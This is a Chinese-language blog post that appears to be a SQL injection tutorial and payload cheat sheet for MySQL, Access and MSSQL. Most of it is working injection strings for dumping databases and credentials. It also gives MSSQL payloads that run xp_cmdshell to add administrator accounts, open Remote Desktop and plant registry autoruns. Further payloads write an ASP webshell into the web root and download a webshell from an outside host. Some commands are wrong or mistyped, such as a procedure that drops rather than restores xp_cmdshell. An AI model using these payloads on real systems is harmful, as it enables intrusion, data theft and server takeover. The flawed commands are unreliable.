這是一篇SQL隱碼攻擊文章

Jeromeyoung發表於2021-01-01

目錄

注入原理:

注入產生的原因是接受相關引數未經處理直接帶入資料庫查詢操作

(有資料庫的地方一定有注入,注意下面的報錯)

在這裡插入圖片描述

1、尋找注入點的方式或注入的地方可能包括。

​ 與資料庫互動的頁面,如:帶xxx?id=xx

​ 登入、更新、註冊、留言板、驗證等等

​ 在資料包中可能出現的地方:http頭、cookies、referer、user、agent、post提交資料包的地方等等。


2、注入點判斷方法。

​ * 單引號法:即直接在瀏覽器位址列中的網址連結後加上一個單引號,如果頁面不能正常顯示,且瀏覽器返回一些異常資訊,則說明該連結可能存在注入漏洞。

​ * 1=1和1=2法:很多時候檢測提交包含單引號的連結時,會提示非法字元,或者直接不返回任何資訊,但這並不等於不存在SQL隱碼攻擊漏洞。此時可使用經典的“1=1和1=2”法進行檢測。方法很簡單,就是直接在連結地址後分別加上and 1=1和and 1=2進行提交,如果返回不同的頁面,那麼說明存在SQL隱碼攻擊漏洞。


3、注入分類。

  • 數字型:

    即不需要任何符號就能帶入資料庫中進行查詢,其實際本質語句(or 1=1-- )

註釋後面的內容可以省略

select * from admin where id=1 or 1=1--' and user='admin';
  • 字元型:

    即不再是直接的數字而是接入了字串進行語句的查詢,其實際本質(string' or 1=1 # ')註釋後面的內容可以省略

select * from Admin where name='test' or 1=1#' and passWord='wad';
  • 搜尋型:

    所謂搜尋型注入也叫模糊查詢,在SQL中的實際語句為:(%xxxx%'or 1=1 #%')

註釋後面的內容可以省略

select * from admin where name like '%xxx%';
  • XX型(也叫其他型):

    也就是由於SQL語句拼接方式不同,在SQL中的實際語句為:,其本質為(xx') or 1=1 # )

select * from admin where name=('xx') or 1=1;

4、注入提交方式。

get提交:一般直接通過瀏覽器位址列提交

post提交:可通過安裝外掛(hackbar)或Burp工具來完成

cookie提交:一般通Burp工具來完成


5、注入攻擊型別與方式。

請注意請求頭,任何引數都可能存在注入(取決於程式設計師的程式碼編寫)

​ 主要有:union注入、insert/update注入、delete注入、http header注入、盲注(base on boolian)、盲注(base on time)、函式報錯、寬位元組注入、二次注入、偏移注入

union注入:

  • union操作符用於合併兩個或多個SQL語句集合起來,得到聯合的查詢結果

    ​ ----通過order by來查詢欄位:依據返回結果判斷欄位長度

    (如:a' order by 1 #%)

    ​ ----然後通過函式可以爆出資料庫對應的內容

    (如:a' union select database(),user(),version() #% )

information_schema注入:

  • information_schema資料庫是MySQL系統自帶的資料庫。其中儲存著關於MySQL伺服器所維護的所有其他資料庫的資訊。大概是5.0以上才有,4.0一般沒有(注入的時候這種方式最快,系統自帶)

    ​ ----先找出資料庫的名稱。(如:vince' union select database(),user(),3#%)

    ​ ----再獲取資料庫的表名。(如:a' union select table_schema,table_name,3 from information_schema.tables where table_schema='表名'#)

    ​ ----再獲取資料庫欄位名。(如:k' union select table_name,column_name,3 from information_schema.columns where table_name='users' #%)

    ​ ----最後獲取欄位內容。(如:kobe' union select username ,password,3 from users#%)

基於函式報錯注入:

  • 一般來說是有兩類即基於updatexml()注入和extractvalue()注入,而像我們常見的select/insert/update/delete注入都可以使用報錯方式來獲取資訊也都屬於updatexml()注入一類。在這裡插入圖片描述

​ ----產生的要求:後臺沒有遮蔽資料庫報錯資訊,在語法發生錯誤時會輸出在前端

​ ----updatexml():函式是MYSQL對XML文件資料進行查詢和修改的XPATH函式.

​ 規則:UPDATEXML (XML_document, XPath_string, new_value);

​ 第一個引數:XML_document是String格式,為XML文件物件的名稱,文中為Doc

​ 第二個引數:XPath_string (Xpath格式的字串) ,如果不瞭解Xpath語法,可以在網上查詢教程。

​ 第三個引數:new_value,String格式,替換查詢到的符合條件的資料

​ ----extractvalue() :函式也是MYSQL對XML文件資料進行查詢的XPATH函式

​ ----floor():MYSQL中用來取整的函式.

​ ----實戰舉例:

​ 爆資料庫版本資訊:k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

​ 爆資料庫當前使用者:k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#

​ 爆資料庫:k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

​ 爆表:k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)# 但是反饋回的錯誤表示只能顯示一行,所以採用limit來一行一行顯示

​ k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#更改limit後面的數字limit 0完成表名遍歷

​ 爆欄位:k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#

​ 爆欄位內容:k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#(返回結果為連線引數產生的字串。如有任何一個引數為NULL ,則返回值為 NULL。通過查詢@@version,返回版本。然後CONCAT將其字串化。因為UPDATEXML第二個引數需要Xpath格式的字串,所以不符合要求,然後報錯。)

insert注入:

  • 就是前端註冊的資訊最終會被後臺通過insert這個操作插入資料庫,後臺在接受前端的註冊資料時沒有做防SQL隱碼攻擊的處理,導致前端的輸入可以直接拼接SQL到後端的insert相關內容中,導致了insert注入。

    ​ 例子:

    oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'

    ​ 爆表名:oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

    ​ 爆列名:' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'

    ​ 爆內容:

    ' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
    ' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
    

update注入:

  • 與insert注入的方法大體相同,區別在於update用於使用者登陸端,insert用於用於使用者註冊端。一般登入網站前臺或後臺更新使用者資訊的地方,填寫使用者需要修改相關資訊,通過Burp抓包在使用者名稱輸入相關payload,格式如下:

    ​ ' or updatexml(0,concat(0x7e,(database())),0) or'

delete注入:

  • 一般應用於前後端發貼、留言、使用者等相關刪除操作,點選刪除按鈕時可通過Brup Suite抓包,對資料包相關delete引數進行注入,格式如下:

    delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)

Http Header注入:

  • 即登入的GET資料包的User-Agent中存在注入,驗證的方法就像刪除User-Agent的資訊,然後一個單引號判斷是否回顯資料庫報錯,如果儲存那麼就存在注入,注入語句如:

    ​ Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '

Cookie注入:

  • Cookie是網站為了識別使用者身份來跟蹤會話的,雖然Cookie是由後端生成的,但每次頁面跳轉,後端都回對前端的Cookie的資訊進行驗證,但如果後端獲取Cookie後放在資料庫中進行拼接,那麼這也將是一個SQL隱碼攻擊點。(也就是程式設計師開發的時候將cookie也儲存在了資料庫中),那麼方法:在注入點後面加入一個單引號觀察是否mysql語法儲存,如果報錯,那麼就存在注入點,語法如下:

    ​ 'and updatexml (1,concat(0x7e,database()),0)#

SQL盲注:

在我們的注入語句被帶入資料庫查詢但卻什麼都沒有返回的情況我們該怎麼辦?例如應用程式就會返回一個“通用的”的頁面,或者重定向一個通用頁面(可能為網站首頁)。這時,我們之前學習的SQL隱碼攻擊辦法就無法使用了。

盲注,即在SQL隱碼攻擊過程中,SQL語句執行選擇後,選擇的資料不能回顯到前端,我們需要使用一些特殊的方法進行判斷或嘗試,這個過程稱為盲注。

1、基於布林型

  • 情景模式:採用and的方法通過返回正確或錯誤來構造語句注入發現這條思路已經不再適用,那麼輸入語句select ascii(substr(database(),1,1))>xx;通過對比ascii碼的長度,判斷出資料庫表名的第一個字元。

    注:substr()函式

substr(string,start,length)

string(必需)規定要返回其中一部分的字串。start(必需)規定在字串的何處開始。length(可選)規定被返回字串的長度。

  • 構造語句,如果返回1,那麼就會爆出選擇的資訊,返回0,就會返回 您輸入的username不存在! 例項:vince' and ascii(substr(database(),1,1))=112#

  • 通過這個方法,就能得到後臺資料庫的名稱的第一個字元的ascii碼。同之前的辦法,我們也可以獲得information_schema.tables裡的資料在這裡插入圖片描述

  • 在這裡插入圖片描述

2、基於時間型

  • 情景模式:當布林盲注不再適用,那麼可通過發現後端的執行時間來進行注入,如:
vince' and sleep(x)#

主要是以布林報錯為模板,拼接字元和時間構成語句,其基於時間響應的變化來判斷字元是什麼。

  • 基於時間的延遲,構造一個拼接語句:vince' and if(substr(database(),1,1)='X' (猜測點)',sleep(10),null#,輸入後,如果猜測真確,那麼就會響應10秒,如果錯誤會立刻返回錯誤。

  • 輸入:vince' and if(substr(database(),1,1)='p',sleep(10),null)#,再web控制檯下,判斷出database的表名的一個字元為p。

    基於時間盲注的一般思路是延遲注入,說白了就是利用sleep()或benchmark()等函式讓mysql執行時間變長並結合判斷條件語句if(expr1,expr2,expr3),然後通過頁面的響應時間長短來判斷語句返回的值是TRUE還是False,從而猜解一些未知的欄位。

    注入流程(以獲取資料庫版本資訊為例):

    1 確定注入點及注入型別

    2 使用if判斷語句,猜測version()的長度並用sleep函式作為判斷依據

    3 重複步驟2直至獲取真正長度

    4 使用if判斷語句,猜測version()的第一個字元的ascii碼並使用sleep函式作為判斷依據構造注入語句,

    5 重複步驟4,直至獲取全部長度的版本字元的ascii碼

3、基於報錯型

寬位元組注入:

說明:當我們把php.ini檔案裡面的magic_quotes_gqc引數設為ON時,所有的'(單引號),"(雙引號),(反斜槓)和null字元都會被自動加上一個反斜槓進行轉義。還有很多函式有類似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外還有parse_str()後的變數也受magic_quotes_gpc的影響。目前大多數的主機都開啟了這個選項,並且很多程式設計師也注意使用上面那些函式去過濾變數。

原理解釋:

其中\的URL編碼是 %5C ,當我們在單引號前面加上%df的時候,最終就會變成 運',如果程式的預設字符集是GBK等寬位元組字符集,則MYSQL用GBK的編碼時,會認為 %df 是一個寬字元,也就是運,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了。

' =======>'單引號轉義後佔兩個位元組,所以我們需要通過繁體字%df構造兩個位元組,最終用運幹掉了\,也就是說被運佔領了\ 所以最後在頁面也不會顯示出來.

小提示: 數字和字母佔一個位元組,漢字佔兩個位元組。

  • 總結:即如果存在字元過濾,那麼就可以考慮在注入語句加入之前新增一個%df用來佔位,使我們的單引號能夠繼續有效。

  • 注意:寬位元組空格、#如果被URL編碼了,可能造成不能成功。所以最好是放在抓包工具中進行。

  • 哪些地方沒有魔術引號的保護?

    (1) $_SERVER 變數

    PHP5的$_SERVER變數缺少magic_quotes_gqc的保護,導致近年來Forwarded-For的漏洞猛爆,所以很多程式設計師考慮過濾X-Forwarded-For,但是其它的變數呢?

    (2)getenv()得到的變數(使用類似$_SERVER 變數)

    (3)$HTTP_RAW_POST_DATA與PHP輸入、輸出流

6、Access資料庫注入

SQL Server有一些系統變數和系統表,如果伺服器IIS提示沒關閉,並且SQL Server返回錯誤提示的話,可以直接從出錯資訊中獲取判斷資料庫的型別。

Access資料庫的副檔名為.mdb但有些開發人員也會將其改為.asp副檔名

1、爆出資料庫型別

1.1 內建變數爆資料庫型別

“User”是SQL Server的一個內建變數,它的值是當前連線的使用者名稱,其變數型別為“nvarchar"字元型。通過提交查詢該變數,根據返回的出錯資訊即可得知資料庫型別。方法是在注入點之後提交如下語句。

xxx' and user>0 #--

該查詢語句會將user對應的nvarchar型值與int數字型的0進行對比,兩個資料型別不一致,因此會返回出錯資訊。

1.2 內建資料表爆資料庫型別

如果伺服器IIS不允許返回錯誤提示,通常可以通過資料庫內建的系統資料表來進行判斷。在注入點後提交如下查詢語句。

and (select count(*) from sysobjects)>=0 #--

and (select count(*) from msysobjects)>=0#--

Access存在系統表[msysobjects],不存在“sysobjects”表。因此如果資料庫採用的是Access,會返回如下提示錯誤資訊

2、猜資料庫表名

可在注入點後提交如下語句進行查詢。

and exists(select * from 資料庫表名 )

或者

and (select count(*) from 資料庫表名 )>=0

上面的語句是判斷資料庫中是否存在指定資料庫表名。如果頁面返回出錯,那麼可更換其他常見資料庫表名繼續進行查詢。

在這裡插入圖片描述
在這裡插入圖片描述

3、猜欄位名及欄位長度

可在注入點後提交如下語句查詢。

and exists(select 欄位名 from 資料庫表名 )

或者

and (select count(欄位名) from 資料庫表名 )>=0

如果存在此欄位名,返回頁面正常,否則可更換欄位名繼續進行猜測。

猜解欄位長度,可提交如下查詢語句。

當提交>n-1時正常,而提交到>n時返回出錯,那麼說明欄位長度為n。

and (select top 1 len(欄位名) from 資料庫表名 )>1
and (select top 1 len(欄位名) from 資料庫表名 )>2
and (select top 1 len(欄位名) from 資料庫表名 )>n-1
and (select top 1 len(欄位名) from 資料庫表名 )>n

當提交>n-1時正常,而提交到>n時返回出錯,那麼說明欄位長度為n。

4、猜欄位值

猜欄位的ascii值,可在注入點後提交如下查詢語句。

and (select top 1 asc(mid(欄位名,1,1)) from 資料庫表名 )>0
and (select top 1 asc(mid(欄位名,1,1)) from 資料庫表名 )>1
and (select top 1 asc(mid(欄位名,1,1)) from 資料庫表名 )>n-1
and (select top 1 asc(mid(欄位名,1,1)) from 資料庫表名 )>n

當提交>n-I時正常,而提交到>n時返回出錯,那麼說明欄位值的ASCII碼為n。反查ASCII碼對應的字元,就可得到欄位值的第一位字元。再繼續提交如下查詢。

and (select top 1 asc(mid(欄位名,2,1)) from 資料庫表名 )>0

用與上面相同的方法,可得到第二位字元。再繼續進行查詢,直接猜解出欄位的所有字元值為止。

7、SQL隱碼攻擊中的高階查詢——order by與union select使用

ASCII碼猜解法很浪費時間,下面介紹一種高效率的方法一一order by與union select聯合查詢,可以快速地獲得欄位長度及欄位內容。這種查詢方法,不僅可以利用在Access資料庫猜解中,必須掌握的方法。同樣也可以利用在其他型別資料庫的注入猜解中,是一種非常重要,而且必須掌握的方法。

  • order by猜欄位數目

    order by n
    

    如果n-1時返回正常,n時返回錯誤,那麼說明欄位數目為n

  • union select爆欄位內容

    得到欄位長度後,就可利用union select查詢獲得欄位內容了。
    and 1=2 union select1, 2, 3...., n from 表名
    執行上面的查詢時,在頁面中會返回數字,修改查詢語句中的數字為欄位名,例如提交如下程式碼。
    and 1=2 union select1, 欄位1, 欄位2...., n from 表名
    在頁面中就會返回欄位內容,不必一個一個進行猜解了。
    
  • union select查詢攻擊測試

    and 1=2 union select 1,user_name,password,4,5,6,7 from administrator
    
    在頁面返回資訊中,立即獲得了user_name和password欄位的值
    

跨庫查詢注入

設a和b兩個站點在同一伺服器上面,但伺服器上面安裝了安全狗、Waf這樣的安全軟體,現在我們要對a站點進行攻擊,但是沒發現什麼大漏洞,只找到網站資料庫路徑,對資料庫下載發現下載不了。這個時候我發現b站點有注入點。直接用

http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,adminpassword,username,4,5,6,7 from [C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins

8、MsSQL資料庫高階查詢所帶來的注入威脅

對MsSQL的注入,可採用與Access注入相同的原理和方法,但足利用MsSQL的特性,可以直接實施危害性極大的攻擊,或者使用一些高階查詢語句,快速得到表名和欄位名等資料內容。

mssql也是微軟的

1.1 MsSQl注入點的基本檢測

在進行MsSQL隱碼攻擊點攻擊時,首先要對MsSQL隱碼攻擊點進行一下基本的注入檢測,以確定後面的攻擊實施方案。

1.2 注入點型別的判斷

首先,判斷是否是MsSQL隱碼攻擊點,可提交如下查詢.

and exists (select * from sysobjects)

頁面返回正常,則說明為MsSQL隱碼攻擊點。

1.3 注入點許可權判斷

再檢測一下當前使用者的資料庫操作許可權,提交如下查詢

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

and 1=(select is_srvrolemember('db_owner'))

and 1=(select is_srvrolemember('public'))

如果上面的第一條查詢返回正常頁面,則說明當前資料庫使用者具有sa許可權,可直接利用擴充套件儲存進行攻擊。

sa為資料庫使用者中最高許可權,而且預設也是系統許可權,有了系統許可權,對伺服器安全威脅是相當高的。如果資料庫與Web伺服器是同一個伺服器,預設情況下攻擊者就可以通過MsSQL自帶的儲存過程對整個伺服器進行控制。

如果頁面返回出錯,則說明不具備sa許可權,可用另外兩條語句判斷其許可權。如果許可權不足,可通過注入點猜解資料庫內容獲得管理員賬號。

DB_OENER許可權的話,我們可以找到WEB的路徑,然後用備份的方式得到webshell,有時也可以對登錄檔進行操作。PUBLIC許可權的話,又要面對表和列了,不過MSSQL比ACCESS的“猜”表方便許多,這裡是“暴”表,使目標直接暴出來。

1.4 MsSQL返回資訊判斷

再提交如下查詢。

and @@version>0

從頁面返回的錯誤資訊中,可以得到資料庫版本資訊。如果頁面出錯,但未返回可利用的資訊,則說明MsSQL關閉了錯誤資訊提示,在猜解資料庫內容時,就不能用爆庫的方法了,只能使用union select聯合查詢或盲注入攻擊方法。

此外,還可以進行如下查詢檢測,以獲得更多的關於MsSQL隱碼攻擊點的資訊。

;declare @d int // 判斷MsSQL支援多行語句查詢

and (select count (1) from [sysobjects])>=0 //是否支援子查詢

and user>O        //獲取當前資料庫使用者名稱

and db_name>0       //獲取當前資料庫名稱

and l=convert (int,db_name ()) 或 1=(select db_name ()) //當前資料庫名

and 1=(select @@servername)          //本地服務名

and 1=(Select HAS_DBACCESS ('master'))    //判斷是否有庫讀取許可權

9、利用MsSQL擴充套件儲存注入攻擊

擴充套件儲存過程是MsSQL提供的特殊功能。所謂“擴充套件儲存過程”,其實就是一個普通的Windows系統DLL檔案,按照某種規則實現了某些函式功能.MsSQL利用擴充套件儲存可以實現許多強大的功能,包括對系統進行操作.利用這個特性,在實施MsSQL隱碼攻擊時,可以更容易地對系統進行控制。

檢測與恢復擴充套件儲存

提交如下查詢進行檢測。

and 1=(Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')

可檢視xp_cmdshell擴充套件儲存過程是否被刪除。

and 1=(Select count(*) FROM master. dbo.sysobjects Where name = 'xp_regread')

可檢視xp_regread擴充套件儲存過程是否被刪除。

如果擴充套件儲存被刪除,可執行如下查詢進行恢復。

;exec sp_dropextendedproc 'xp_cmdshell'

上面這條查詢語句,是在恢復前先刪除xp_cmdshell,以後再在後面重新進行建立,然後執行如下查詢。

;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’

該語句是利用系統中預設的“xplog70.dll”檔案,自動恢復xp_cmdshell

如果恢復不成功,說明該檔案被改名或刪除,可以上傳一個“xplog70.dll”檔案,自定義路徑進行恢復。例如,執行如下查詢語句。

;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’

攻擊中最常利用的擴充套件儲存

在SQL隱碼攻擊過程中,最常利用到的擴充套件儲存有如下幾個。

xp_cmdshell—利用此儲存過程可以直接執行系統命令。

xp_regread—利用此儲存過程可以進行登錄檔讀取。

xp_regwrit一利用此儲存過程可以寫入登錄檔。

xp_dirtre一利用此儲存過程可以進行列目錄操作。

xp_enumds—利用此儲存過程可以進行ODBC連線。

xp_loginconfig-利用此儲存過程可以配置伺服器安全模式資訊。

xp_makecab一一利用此儲存過程可以建立壓縮卷。

xp_ntsec_enumdomains-利用此儲存過程可以檢視domain資訊。

xp_terminate_jroces一利用此儲存過程可以檢視終端程式,給出一個程式PID.

結合上面的這些擴充套件儲存,通過提交精心構造的查詢語句,可利用擴充套件儲存的強大功能進行攻擊。

SA許可權下擴充套件儲存攻擊利用方法

1.xp_cmdshell擴充套件執行任意命令

利用xp_cmdshell可執行命令,例如提交如下查詢,可檢視伺服器C盤目錄。

;exec master..xp_cmdshell 'dir c:\'

最常見的利用方法是直接新增管理員賬號,利用遠端終端進行登入控制。

;exec master..xp_cmdshell 'net user test/add'

exec master..xp_cmdshell 'net locaigroup administrators test/add'

執行上面的查詢,即可新增一個使用者名稱和密碼都為test的管理員賬號。然後可以利用命令開啟3389遠端終端連線,並修改終端連線埠號。

;exec master..xp_cmdshell 'sc config termservice start = auto'

;exec master..xp_cmdshell 'net start termservice'

;exec master..xp_cmdshell 'reg add 

"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"/v 

fDenyTSConnections /t REG_DWORD /D 0X0 /F' //允許外部連線

;exec master..xp_cmdshell 'reg add "

HKEY_LOCAL_MACHINE\SYSTEN\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp"/v PortNumber /t REG_DWORD' //改埠到80

事實上,只要可以執行系統命令,幾乎任意的攻擊操作都可在此基礎上實現進行。

2.xp_regwrite操作登錄檔與開啟沙盒模式

在sa許可權下可以呼叫xp_regwrite寫入登錄檔,查詢語句如下。

;xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','black','REG_SZ','net user test test /add'

這裡是寫入登錄檔啟動項,系統啟動後就會執行“net user test westone”命令,從而在伺服器上新增一個test賬戶。當伺服器重新啟動登入時,就會自動執行命令新增指定的賬戶。

還可以利用xp_regwrite來開啟沙盒模式,從而執行系統命令。

首先開啟沙盒模式,在注入點處提交如下查詢。

execmaster..xp regwrite 'HKEY_LOCAL_MACHINE','SOFTNARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG DWORD',1

然後利用jet.oledb執行如下系統命令。

select * from

openrowset('microsoft.jet.oledb.4.O',';database=c:\windows\system32\ias\ias.mdb','select shell("net user test test /add")')

注意,如果注入點的引數是integer數字型,就可指定“ias.mdb”資料庫;如果是string字元型,則可指定連線dnary.mdb.如果是Windows 2000系統,資料庫的路徑應該指定為:"x:\winnt\system32\ias\ias.mdb"

3.利用sp_makewebtask寫入一句話木馬

sa許可權可以通過sp_makewebtask,建立一項生成HTML文件的任務,該文件包含執行過的查詢返回的資料。在入侵測試的過程中,可以利用sp_makewebtask擴充套件儲存來將一句話木馬寫入到伺服器磁碟中的Web目錄下,從而獲得對伺服器的控制許可權。

在寫入一句話木馬前,首先需要將一句話木馬轉換成URL格式。然後執行如下查詢。

exec sp_makewebtask 'c:\inetpub\wwwroot\yjh.asp','select'' %3C%25%65%78%65%63%75%74%65 %72%65%71%75%65%73%74%28%22%76%61%6C%75%65%22%29%25%3E'''--

4.利用sp_oacreate儲存遠端下載檔案

sa許可權下還可以呼叫sp_oacreate儲存過程來完成更多功能,例如遠端下載檔案到伺服器上,從而間接獲得一個WebShell.

這裡可以將一個WebShell檔案上傳到某個網站空間中,假設檔案連結地址如下。

http://www.test.com/teat.txt

在注入點處提交如下查詢。

DECLARE @B varbinary(8000),@hr int,

@http INT,@down INT EXEC sp_oacreate

(Microsoft.XMLHTTP],@http output EXEC

@hr = sp_oamethod @http,[Open],null,[GET],

[http://www.test.com/test.txt],O EXEC @hr = sp_oamethod @http,[Send],null EXEC @hr=sp_

OAGetProperty @http,[responseBody],@B output EXEC @hr=sp_oacreate [ADODB.Stream],@down

output EXEC @hr=sp_OAGetProperty @down, [Type],1 EXEC @hr=sp OASetProperty @down,[mode],3

EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B EXEC

[hr=so_oamethod @down,[SaveToFile].null.(c:\inetpub\wwwroot\WebShell.asp],l -

即可下載檔案“http://www.test.con/test.txt”的內容到

“c:\inetpub\wwwroot\WebShell.asp"成功寫入一個WebShell.

5.sp_addlogin擴充套件管理資料庫使用者

如果要新增和刪除一個sa許可權的資料庫使用者,可執行如下查詢。

exec master.dbo.sp_addlogin test,password

exec masterdbo.sp_addsrvrolemember test,sysadmin

6.xp_servicecontrol管理服務

要停掉或啟用某個服務,可利用xp_servicecontrol擴充套件執行查詢。

;exec master..xp_servicecontrol 'stop','schedule'

;exec master..xp_servicecontrol 'start','schedule'

;exec master..xp servicecontrol 'start','server'

此外,通過擴充套件儲存,還可以進行差異備份寫入WebShell,設定資料庫允許遠端連線等各種危險的操作。

dbowner許可權下的擴充套件攻擊利用

當資料庫連線賬戶為dbowner許可權時,無法直接利用擴充套件儲存執行各種系統命令,進行攻擊的過程比較煩瑣。

當注入點為dbo許可權時,通常首先利用xp_dirtree擴充套件儲存列出Web目錄,然後利用SQL語句建立一個臨時表,插入一句話木馬到臨時表中。然後利用資料庫備份語句,將資料庫備份到Web目錄並儲存為ASP格式的檔案,即可得到一個一句話木馬後門。最後利用一句話木馬客戶端連線後門,得到WebShell後就可以控制整個伺服器了。

(sa許可權能夠恢復xp_cmdshell執行系統命令,而dbowner許可權執行不了作業系統命令)

(如果是dbowner許可權,

那麼需要找出網站路徑,方式:找出一個檔案,通過找出的檔案索引列出目錄路徑,

將一句話寫入到網站的目錄路徑下(差異備份情況:可能出問題),

然後連線後執行系統命令

1.判斷資料庫使用者許可權

首先,需要判斷當前資料庫使用者是否為db_owner許可權。

在注入點後執行如下查詢。

and 1=(SELECT IS_MEMBER('db_owner'));--

如果頁面返回正常,說明的確是db_owner許可權

2.搜尋Web目錄

當Web伺服器與資料庫在同一伺服器主機上時,就可以備份一句話木馬到Web目錄了。但是在備份一句話木馬前,首先需要搜尋Web目錄,可通過如下幾個步驟實現。

首先,執行如下查詢。

;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY (1,1));--

該語句可建立一個臨時表,一共4個欄位,前三個欄位用於存放執行儲存過程xp_dirtree返回的結果,ID欄位則方便查詢指定內容。

然後執行如下查詢。

;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1--

利用xp_dirtree擴充套件查詢,將指定目錄的檔案和資料夾名稱插入到臨時表中,這裡查詢的是C盤目錄路徑。

再執行如下查詢。

and (select dir from temp where id=1)>0

語句是查詢臨時表中的內容,也就是指定的目錄檔案和資料夾名。由於不能一次性獲取所有目錄檔案和資料夾名,因此需要更改ID的值,依次列出檔案和資料夾來。

通過此方法,可以遍歷所有碟符,從而找到Web目錄路徑。

3.獲取資料庫使用者名稱

直接輸入如下:

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name() =0--

4.寫入一句話木馬

找到Web目錄後,就可以寫入一句話木馬了。

在注入點後依次執行如下語句。

http://192.168.0.102/sqlserver/1.aspx?xxser=1;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple

執行完畢後,就會在指定的Web目錄下生成一個名為“yjh.asp”的後門檔案,用一句話木馬客戶端連線即可得到WebShell

public許可權下的擴充套件攻擊利用

注:需要在低版本的瀏覽器中或者瀏覽器需要啟動報錯回顯

1、獲取當前網站資料庫名稱

and db_name()=0--

2、獲取mssql所有資料庫名和路徑

%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--

3、獲取當前資料庫所有表名

and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--

4、爆表名及欄位名

having 1=1--
group by admin.id having 1=1--
group by admin.id,admin.name having 1=1--

5、獲取欄位內容

/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1

10、MySQL資料庫注入:

1、Mysql4和5之間的區別:

Mysql4中低版本資料庫存在著字元轉義與不支援語句查詢的情況,因此在這個基礎上進行注入攻擊存在著很的大侷限性,只能採用類似access的方法進行猜解查詢。

1、即首先,利用order by獲得當前表的欄位數,再使用union select聯合查詢來獲取想要的資料庫資訊。使用union select聯合查詢資料庫時,由於不知道資料庫中的表名與欄位名,因此只能像Access一樣直接用常見表名和欄位名進行猜測判斷。

MySQL 5版本由於information_schema庫的存在,注入攻擊相對來說方便了許多,

2、通過load_file()函式來讀取指令碼程式碼或系統敏感檔案內容,進行漏洞分析或直接獲取資料庫連線賬號、密碼。

3、通過dumpfile/outfile函式匯出獲取WebShell。

2、mysql使用者名稱密碼儲存位置

資料庫最高許可權使用者是root 密碼儲存在mysql資料庫的user表中,密碼是採用mysql5特有的加密,通過cmd5網站進行解密或通過cain等這類專業可以對mysql hash破解.所以對資料庫做安全的時候無論如何不能給網站root 許可權,一定要給一個普通使用者許可權。

3、mysql注入語句(示例)

  • 檢查注入點

'   與and 1=1 and 1=2
  • 如果報錯,那麼就存在注入點
  • 在這裡插入圖片描述
  • 欄位個數判斷

' order by 1,2--+&Submit=Submit#
  • 當知道有注入點時,通過order by來判斷這個資料庫中有幾個欄位(知曉有兩個欄位)在這裡插入圖片描述
  • 檢視資料庫使用者名稱和版本、庫名(dvwa)

'union select user(),version()--+&Submit=Submit#

當知曉有幾個欄位後,嘗試著利用user()和version()函式直接爆出資料庫使用者名稱和版本、庫名(dvwa)。

在這裡插入圖片描述

  • 獲取mysql所有庫(一時興起)

前面獲取了dvwa庫,但並不滿足於此,所以我們會利用函式爆出所有的資料庫,而這裡確實是mysql5版本的,那麼就會擁有information_schema庫,那麼我們就通過這個庫的函式來獲取我們的最終目標。

'union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit#

在這裡插入圖片描述

  • 獲取dwva庫的表名(目標)

'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit #

[)]

  • 獲取所有user表裡面的欄位

  • table_name=0x7573657273 不轉成十六進位制也可以

'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit#

在這裡插入圖片描述

